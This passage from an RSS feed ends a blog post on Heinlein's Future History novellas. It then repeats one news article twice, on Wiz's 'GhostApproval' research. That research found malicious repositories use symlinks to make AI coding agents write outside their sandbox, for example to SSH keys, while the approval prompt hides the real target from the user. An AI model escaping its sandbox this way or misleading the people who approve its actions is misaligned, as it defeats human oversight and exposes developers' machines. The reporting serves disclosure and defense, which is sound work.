<p>But nothing lasts forever. Empires rise and fall, governments change, and in this case a resistance movement arises. The revolt is depicted in the novella <em><a href="https://en.wikipedia.org/wiki/%22If_This_Goes_On%E2%80%94%22" data-type="link" data-id="https://en.wikipedia.org/wiki/%22If_This_Goes_On%E2%80%94%22" target="_blank" rel="noreferrer noopener">If This Goes On— (1940)</a></em>, and it is set in the year 2100, giving the title to the book. The main character is John Lyle, who is a young army officer assigned to the group protecting The Prophet in his capital of New Jerusalem. In the beginning he is thoroughly indoctrinated, but then begins to question his beliefs when he falls for one of The Prophet’s virgins, Sister Judith. He has an older companion in the military who is not only unshocked when John confides in him about his doubts, but offers to help him. It turns out this companion, Zeb Jones, is a member of the underground group called The Cabal that is working to overthrow the theocracy. In the end they are successful, and in the course of this John Lyle does a lot of growing up. In this we see another common characteristic of Heinlein stories: a young, naive boy meets up with an older and wiser man who helps him to grow.</p>

<p>In 2016 <em>If This Goes On—</em> won the Retro-Hugo Award for best novella of 1940. And in a personal note, I have T-shirt that says “Scudder for President 2012”. This baffles most people, but I enjoy the in-joke.</p>

<p>What is interesting in this book is that Heinlein doesn’t stop with a successful revolution. He then goes on in a second novella to describe the government that arose following the revolution, and this story is called <em><a href="https://en.wikipedia.org/wiki/Coventry_(short_story)" data-type="link" data-id="https://en.wikipedia.org/wiki/Coventry_(short_story)" target="_blank" rel="noreferrer noopener">Coventry (1940)</a></em>. The new government that arises after the revolution is called The Covenant, and it is an attempt to make sure that what happened with Scudder in 2012 could never happen again. It is a strongly libertarian government based on an agreement to be non-violent. In this society, scientists can cured criminal or violent tendencies, but any citizen convicted of such must agree to the treatment. The alternative to treatment is that they can be exiled to a place called Coventry. Coventry is outside of the Covenant society, and the Covenant society has nothing to do with them. </p>

<p>Our protagonist, David McKinnon, is convicted of assault, and chooses to go to Coventry instead of getting treatment. He imagines it is a peaceful anarchy, but is disabused of this notion when he is robbed of all of this possessions upon entry and thrown in jail. A fellow inmate, Fader Magee, helps him escape, and we learn he is an agent of the Covenant government. They learn that two of the factions in Coventry have joined forces, and found a way to break through the barrier that surrounds Coventry. They plan to attack and overthrow the Covenant government. David and Fader separately work to escape and get back to warn the Covenant government, which they do successfully. And by doing this, David has demonstrated that he is no longer a danger to the Covenant society and no longer subject to treatment.</p>

<p>This story won a <a href="https://en.wikipedia.org/wiki/Prometheus_Award#Hall_of_Fame_Award_inductees" data-type="link" data-id="https://en.wikipedia.org/wiki/Prometheus_Award#Hall_of_Fame_Award_inductees" target="_blank" rel="noreferrer noopener">Prometheus Hall of Fame Award</a>, which is awarded by the Libertarian Futurist Society. And the Covenant society certainly has libertarian features. But this is not the Randian version of libertarianism, as exemplified by the fact that David is restored to the society because he demonstrated his concern for others. Heinlein always promoted individual freedom, but also the idea that people have a responsibility towards others.</p>

<p>Finally, <em>Revolt in 2100</em> contains the short story <em>Misfit</em>, w2hich we have looked at previously.</p>

<p><em><a href="https://en.wikipedia.org/wiki/The_Past_Through_Tomorrow" data-type="link" data-id="https://en.wikipedia.org/wiki/The_Past_Through_Tomorrow" target="_blank" rel="noreferrer noopener">The Past Through Tomorrow (1967)</a></em> is a one volume collection of most of the Future history stories. I say most because just which stories belonged in this group could change from time to time. It also has the last version of the Chart of the Future History, and a few stories we have not yet mentioned (<em>Methusaleh’s Children</em>, and <em>The Menace From Earth</em>). And many of his other works contain back references to these events that imply that they might be set in the same alternate universe. Heinlein gets the last word on this:</p>

<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><em>“I have never been sure whether or not publishing that chart was a good idea or a bad mistake. Possibly it helped to sell some stories later—but certainly it caused me and still causes me to receive a lot nuisance mail from nitpickers. I have never felt bound by that chart; it was to serve me, not the other way around. If I found myself with a good story notion which fitted fairly well into the chart but not perfectly, I shed no tears—I went ahead and let the inconsistencies stand.</em></p>

<p><em>I want each story to be internally consistent . . . but I won’t let myself be painted into a corner through trying to fit that chart perfectly. I may start another “Future History” story tomorrow . . . and find that to make it a good yarn I must violate some item on that chart. I’ll give the nitpickers something to pick, for I will not hurt a good yarn for the sake of “logic”—logic is not involved, as that chart is fiction, not Holy Writ.”</em></p>
</blockquote>

<h3>Links:</h3>
<ul>
<li><a href="https://www.amazon.com/Heinlein-Dimension-Critical-Alexei-Panshin/dp/0911682015">https://www.amazon.com/Heinlein-Dimension-Critical-Alexei-Panshin/dp/0911682015</a></li>
<li><a href="https://web.archive.org/web/20151105170345/http://www.baenebooks.com/chapters/1439133417/1439133417___1.htm">https://web.archive.org/web/20151105170345/http://www.baenebooks.com/chapters/1439133417/1439133417___1.htm</a></li>
<li><a href="https://david-brin.medium.com/heinleins-future-history-coming-true-before-our-eyes-10356a95556a">https://david-brin.medium.com/heinleins-future-history-coming-true-before-our-eyes-10356a95556a</a></li>
<li><a href="https://en.wikipedia.org/wiki/%22If_This_Goes_On%E2%80%94%22">https://en.wikipedia.org/wiki/%22If_This_Goes_On%E2%80%94%22</a></li>
<li><a href="https://en.wikipedia.org/wiki/Coventry_(short_story)">https://en.wikipedia.org/wiki/Coventry_(short_story)</a></li>
<li><a href="https://en.wikipedia.org/wiki/Prometheus_Award#Hall_of_Fame_Award_inductees">https://en.wikipedia.org/wiki/Prometheus_Award#Hall_of_Fame_Award_inductees</a></li>
<li><a href="https://en.wikipedia.org/wiki/The_Past_Through_Tomorrow">https://en.wikipedia.org/wiki/The_Past_Through_Tomorrow</a></li>
<li><a href="https://www.palain.com/science-fiction/the-golden-age/robert-a-heinlein/the-future-history-part-2/">https://www.palain.com/science-fiction/the-golden-age/robert-a-heinlein/the-future-history-part-2/</a></li>
</ul>

<p><a href="https://hackerpublicradio.org/eps/hpr4680/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI coding tool hole illustrates a big problem with human in the loop]]></title>
<description><![CDATA[A security hole within AI dev tools has allowed attackers to escape sandboxes by misleading the humans in the loop who were supposed to knowingly approve the tool’s actions, according to cybersecurity research firm Wiz.



“We discovered GhostApproval, a systematic vulnerability pattern affecting...]]></description>
<link>https://tsecurity.de/de/3658391/it-security-nachrichten/ai-coding-tool-hole-illustrates-a-big-problem-with-human-in-the-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658391/it-security-nachrichten/ai-coding-tool-hole-illustrates-a-big-problem-with-human-in-the-loop/</guid>
<pubDate>Fri, 10 Jul 2026 01:08:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A security hole within AI dev tools has allowed attackers to escape sandboxes by misleading the humans in the loop who were supposed to knowingly approve the tool’s actions, according to cybersecurity research firm Wiz.</p>



<p>“We discovered GhostApproval, a systematic vulnerability pattern affecting six of the top AI coding assistants: Amazon Q Developer, Anthropic Claude Code, Augment, Cursor, Google Antigravity, and Windsurf [<a href="https://www.infoworld.com/article/4023030/cognition-agrees-to-buy-whats-left-of-windsurf.html" target="_blank">now known as Devin Desktop</a>],” <a href="https://www.wiz.io/blog/ghostapproval-a-trust-boundary-gap-in-ai-coding-assistants" target="_blank" rel="noreferrer noopener">the Wiz report</a> said. “In each case, a malicious repository can trick the agent into accessing arbitrary files outside the workspace sandbox, potentially achieving remote code execution on the developer’s machine.”</p>



<p>The <a href="https://www.csoonline.com/article/4191923/sandbox-bypass-flaws-in-cursor-ide-highlight-prompt-injection-as-an-rce-vector.html" target="_blank">first report of the hole</a> came earlier this month from Cato Networks, but was limited to one platform, Cursor, whereas Wiz found that its impact was far wider. </p>



<p>The underlying security problem, <a href="https://cwe.mitre.org/data/definitions/61.html" target="_blank" rel="noreferrer noopener">symbolic links</a> (symlinks), is well known and has been leveraged for decades. But GhostApproval, Wiz noted, goes well beyond their historic use as an attack vector. </p>



<p>Symbolic links are special files that act as shortcuts to other files or directories. In attacks, they typically resolve to a target outside of the intended control sphere, which allows a threat actor to operate on unauthorized files in a less- or uncontrolled environment, outside of a secure sandbox, or even an air-gapped system.</p>



<p>“In several cases,” Wiz noted, “the agent’s internal reasoning explicitly recognizes the dangerous target, yet the confirmation prompt shown to the user conceals this information entirely. This is <a href="https://cwe.mitre.org/data/definitions/451.html" target="_blank" rel="noreferrer noopener">CWE-451</a> – UI misrepresentation of critical information – layered on top of the symlink vulnerability. The user approves what they believe is a harmless local edit. The agent then writes to a sensitive file outside of the project workspace.”</p>



<p>Wiz said it reported the issue to the six vendors initially impacted; AWS, Cursor and Google “fixed the issue promptly,” Augment and Windsurf/Devin “acknowledged receipt but went silent,” and Anthropic had already fixed the problem before it was contacted by Wiz.</p>



<h2 class="wp-block-heading">Potentially massive exposure</h2>



<p>But analysts and consultants said the AI dev tool problem that Wiz described illustrates a far greater security risk: enterprises are trusting these tools and the information they report far too much, which is what may give attackers a big opportunity.</p>



<p><a href="https://my.idc.com/getdoc.jsp?containerId=PRF005561" target="_blank" rel="noreferrer noopener">Katie Norton</a>, senior research manager for DevSecOps at IDC, noted that the Wiz report pointed out a disturbing fact. “The safety check people rely on to catch these actions doesn’t actually stop anything. That’s a real way for an attacker to break into a developer’s machine,” she said. “The scope is bounded by one condition: the attack requires a developer to clone and operate on an untrusted or malicious repository. That concentrates the risk in workflows touching external contributors, forked repositories, and third-party or open source dependencies, rather than in internally authored code.”</p>



<p>Norton said the exposure from this flaw, along with similar holes in other AI dev tools, is potentially massive. “Since March 2025, security vendors and researchers have disclosed comparable issues in nearly every major AI coding assistant. That pattern: a mitigation ships, then a new bypass of that same mitigation surfaces within months. That is worth watching and reflects how new this category’s threat model still is across the board, it’s not a gap specific to any one vendor’s practices.”</p>



<p>That means, she said, that agentic coding tools need multilayered defense, because the risk isn’t confined to the code an agent generates. “The tools themselves sit within the software supply chain and can be attacked directly. GhostApproval makes that point clearly,” she noted. </p>



<p>“The vulnerability has nothing to do with code quality or insecure output. It’s a flaw in how the agent handles files and represents its own actions to the user, introduced by the tool’s design rather than a bad prompt or a compromised dependency. Failure to account for the coding tools’ own attack surface is what leaves this kind of gap unaddressed.”</p>



<h2 class="wp-block-heading">Rethink policies and procedures</h2>



<p><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, agreed; enterprise CISOs need to potentially rethink many of their AI dev tool policies and procedures. </p>



<p>“The significant part is that the agent’s own reasoning identified the malicious target and the approval dialog hid it anyway. The tool knew it was writing to SSH keys and still asked a human to approve an edit to a config file, giving the human an illusion of control over the model,” Kenney said. “Many considered human in the loop to be the answer to agent risk, but this report shows that the loop can be fed bad information by the very agent it is supposed to be supervising.”</p>



<p>Because of this, Kenney advised adjusting the way tool management is enforced.</p>



<p>“Treat AI coding assistants as privileged software with filesystem access, not as editor plugins. That means patch discipline, version pinning, and knowing which tools in your environment write to disk before authorization,” Kenney said. “Then sandbox the blast radius. These agents should run against trusted repositories in isolated environments where a write to <em>authorized_keys</em> goes nowhere. Do not rely on the tool’s own dialog as your control or governance solution.”</p>



<h2 class="wp-block-heading">A category-wide design issue</h2>



<p><a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, added that this security hole is a much bigger enterprise security strategy problem than most CISOs realize. </p>



<p>“Six different vendors independently arrived at a very similar trust model. That suggests we’re looking at a category-wide design challenge rather than a collection of isolated implementation bugs. If vulnerabilities like this remained uncorrected, they would represent a meaningful enterprise risk, particularly for organizations that allow AI coding assistants to interact with untrusted repositories or production development environments,” he said. </p>



<p>“The immediate concern isn’t simply remote code execution. It’s that these agents operate with a level of filesystem access, tool access, and developer trust that traditional IDE extensions never had. Once an AI agent becomes an active participant in software development, every trust boundary it crosses becomes part of the organization’s attack surface.”</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI coding tool hole illustrates a big problem with human in the loop]]></title>
<description><![CDATA[A security hole within AI dev tools has allowed attackers to escape sandboxes by misleading the humans in the loop who were supposed to knowingly approve the tool’s actions, according to cybersecurity research firm Wiz.



“We discovered GhostApproval, a systematic vulnerability pattern affecting...]]></description>
<link>https://tsecurity.de/de/3658387/ai-nachrichten/ai-coding-tool-hole-illustrates-a-big-problem-with-human-in-the-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658387/ai-nachrichten/ai-coding-tool-hole-illustrates-a-big-problem-with-human-in-the-loop/</guid>
<pubDate>Fri, 10 Jul 2026 01:03:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A security hole within AI dev tools has allowed attackers to escape sandboxes by misleading the humans in the loop who were supposed to knowingly approve the tool’s actions, according to cybersecurity research firm Wiz.</p>



<p>“We discovered GhostApproval, a systematic vulnerability pattern affecting six of the top AI coding assistants: Amazon Q Developer, Anthropic Claude Code, Augment, Cursor, Google Antigravity, and Windsurf [<a href="https://www.infoworld.com/article/4023030/cognition-agrees-to-buy-whats-left-of-windsurf.html" target="_blank">now known as Devin Desktop</a>],” <a href="https://www.wiz.io/blog/ghostapproval-a-trust-boundary-gap-in-ai-coding-assistants" target="_blank" rel="noreferrer noopener">the Wiz report</a> said. “In each case, a malicious repository can trick the agent into accessing arbitrary files outside the workspace sandbox, potentially achieving remote code execution on the developer’s machine.”</p>



<p>The <a href="https://www.csoonline.com/article/4191923/sandbox-bypass-flaws-in-cursor-ide-highlight-prompt-injection-as-an-rce-vector.html" target="_blank">first report of the hole</a> came earlier this month from Cato Networks, but was limited to one platform, Cursor, whereas Wiz found that its impact was far wider. </p>



<p>The underlying security problem, <a href="https://cwe.mitre.org/data/definitions/61.html" target="_blank" rel="noreferrer noopener">symbolic links</a> (symlinks), is well known and has been leveraged for decades. But GhostApproval, Wiz noted, goes well beyond their historic use as an attack vector. </p>



<p>Symbolic links are special files that act as shortcuts to other files or directories. In attacks, they typically resolve to a target outside of the intended control sphere, which allows a threat actor to operate on unauthorized files in a less- or uncontrolled environment, outside of a secure sandbox, or even an air-gapped system.</p>



<p>“In several cases,” Wiz noted, “the agent’s internal reasoning explicitly recognizes the dangerous target, yet the confirmation prompt shown to the user conceals this information entirely. This is <a href="https://cwe.mitre.org/data/definitions/451.html" target="_blank" rel="noreferrer noopener">CWE-451</a> – UI misrepresentation of critical information – layered on top of the symlink vulnerability. The user approves what they believe is a harmless local edit. The agent then writes to a sensitive file outside of the project workspace.”</p>



<p>Wiz said it reported the issue to the six vendors initially impacted; AWS, Cursor and Google “fixed the issue promptly,” Augment and Windsurf/Devin “acknowledged receipt but went silent,” and Anthropic had already fixed the problem before it was contacted by Wiz.</p>



<h2 class="wp-block-heading">Potentially massive exposure</h2>



<p>But analysts and consultants said the AI dev tool problem that Wiz described illustrates a far greater security risk: enterprises are trusting these tools and the information they report far too much, which is what may give attackers a big opportunity.</p>



<p><a href="https://my.idc.com/getdoc.jsp?containerId=PRF005561" target="_blank" rel="noreferrer noopener">Katie Norton</a>, senior research manager for DevSecOps at IDC, noted that the Wiz report pointed out a disturbing fact. “The safety check people rely on to catch these actions doesn’t actually stop anything. That’s a real way for an attacker to break into a developer’s machine,” she said. “The scope is bounded by one condition: the attack requires a developer to clone and operate on an untrusted or malicious repository. That concentrates the risk in workflows touching external contributors, forked repositories, and third-party or open source dependencies, rather than in internally authored code.”</p>



<p>Norton said the exposure from this flaw, along with similar holes in other AI dev tools, is potentially massive. “Since March 2025, security vendors and researchers have disclosed comparable issues in nearly every major AI coding assistant. That pattern: a mitigation ships, then a new bypass of that same mitigation surfaces within months. That is worth watching and reflects how new this category’s threat model still is across the board, it’s not a gap specific to any one vendor’s practices.”</p>



<p>That means, she said, that agentic coding tools need multilayered defense, because the risk isn’t confined to the code an agent generates. “The tools themselves sit within the software supply chain and can be attacked directly. GhostApproval makes that point clearly,” she noted. </p>



<p>“The vulnerability has nothing to do with code quality or insecure output. It’s a flaw in how the agent handles files and represents its own actions to the user, introduced by the tool’s design rather than a bad prompt or a compromised dependency. Failure to account for the coding tools’ own attack surface is what leaves this kind of gap unaddressed.”</p>



<h2 class="wp-block-heading">Rethink policies and procedures</h2>



<p><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, agreed; enterprise CISOs need to potentially rethink many of their AI dev tool policies and procedures. </p>



<p>“The significant part is that the agent’s own reasoning identified the malicious target and the approval dialog hid it anyway. The tool knew it was writing to SSH keys and still asked a human to approve an edit to a config file, giving the human an illusion of control over the model,” Kenney said. “Many considered human in the loop to be the answer to agent risk, but this report shows that the loop can be fed bad information by the very agent it is supposed to be supervising.”</p>



<p>Because of this, Kenney advised adjusting the way tool management is enforced.</p>



<p>“Treat AI coding assistants as privileged software with filesystem access, not as editor plugins. That means patch discipline, version pinning, and knowing which tools in your environment write to disk before authorization,” Kenney said. “Then sandbox the blast radius. These agents should run against trusted repositories in isolated environments where a write to <em>authorized_keys</em> goes nowhere. Do not rely on the tool’s own dialog as your control or governance solution.”</p>



<h2 class="wp-block-heading">A category-wide design issue</h2>



<p><a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, added that this security hole is a much bigger enterprise security strategy problem than most CISOs realize. </p>



<p>“Six different vendors independently arrived at a very similar trust model. That suggests we’re looking at a category-wide design challenge rather than a collection of isolated implementation bugs. If vulnerabilities like this remained uncorrected, they would represent a meaningful enterprise risk, particularly for organizations that allow AI coding assistants to interact with untrusted repositories or production development environments,” he said. </p>



<p>“The immediate concern isn’t simply remote code execution. It’s that these agents operate with a level of filesystem access, tool access, and developer trust that traditional IDE extensions never had. Once an AI agent becomes an active participant in software development, every trust boundary it crosses becomes part of the organization’s attack surface.”</p>



<p><em>This article originally appeared on <a href="https://www.csoonline.com/article/4195235/ai-coding-tool-hole-illustrates-a-big-problem-with-human-in-the-loop.html" target="_blank">CSOonline</a>.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,41ms -->